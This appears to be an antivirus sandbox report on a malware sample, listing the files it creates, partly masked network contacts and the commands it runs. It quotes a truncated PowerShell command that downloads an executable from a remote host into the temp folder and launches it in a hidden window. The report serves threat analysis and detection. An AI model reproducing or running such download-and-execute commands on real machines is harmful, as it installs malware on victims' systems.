Technical Information
Malicious functions
Downloads and executes
- $ahxkroeenbmd as %temp%\ujwu-awk7.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell "'PowerShell ""function qhehmscvu7([String] $ahxkroeenbmd){(New-Object System.Net.WebClient).DownloadFile($ahxkroeenbmd,''%TEMP%\Ujwu-awk7.exe'');Start-Process ''%TEMP%\Ujwu-awk7....
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1400
Modifies file system
Creates the following files
- %TEMP%\mqm.bat
- %TEMP%\1331140.cvr
Network activity
Connects to
- 'we######4contractors.net':80
- 'we######4contractors.net':443
TCP
HTTP GET requests
- http://we######4contractors.net/img/faersong.png
Other
- 'we######4contractors.net':443
UDP
- DNS ASK um###t.weiz.at
- DNS ASK we######4contractors.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell "'PowerShell ""function qhehmscvu7([String] $ahxkroeenbmd){(New-Object System.Net.WebClient).DownloadFile($ahxkroeenbmd,''%TEMP%\Ujwu-awk7.exe'');Start-Process ''%TEMP%\Ujwu-awk7....' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\mqm.bat" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\mqm.bat" "
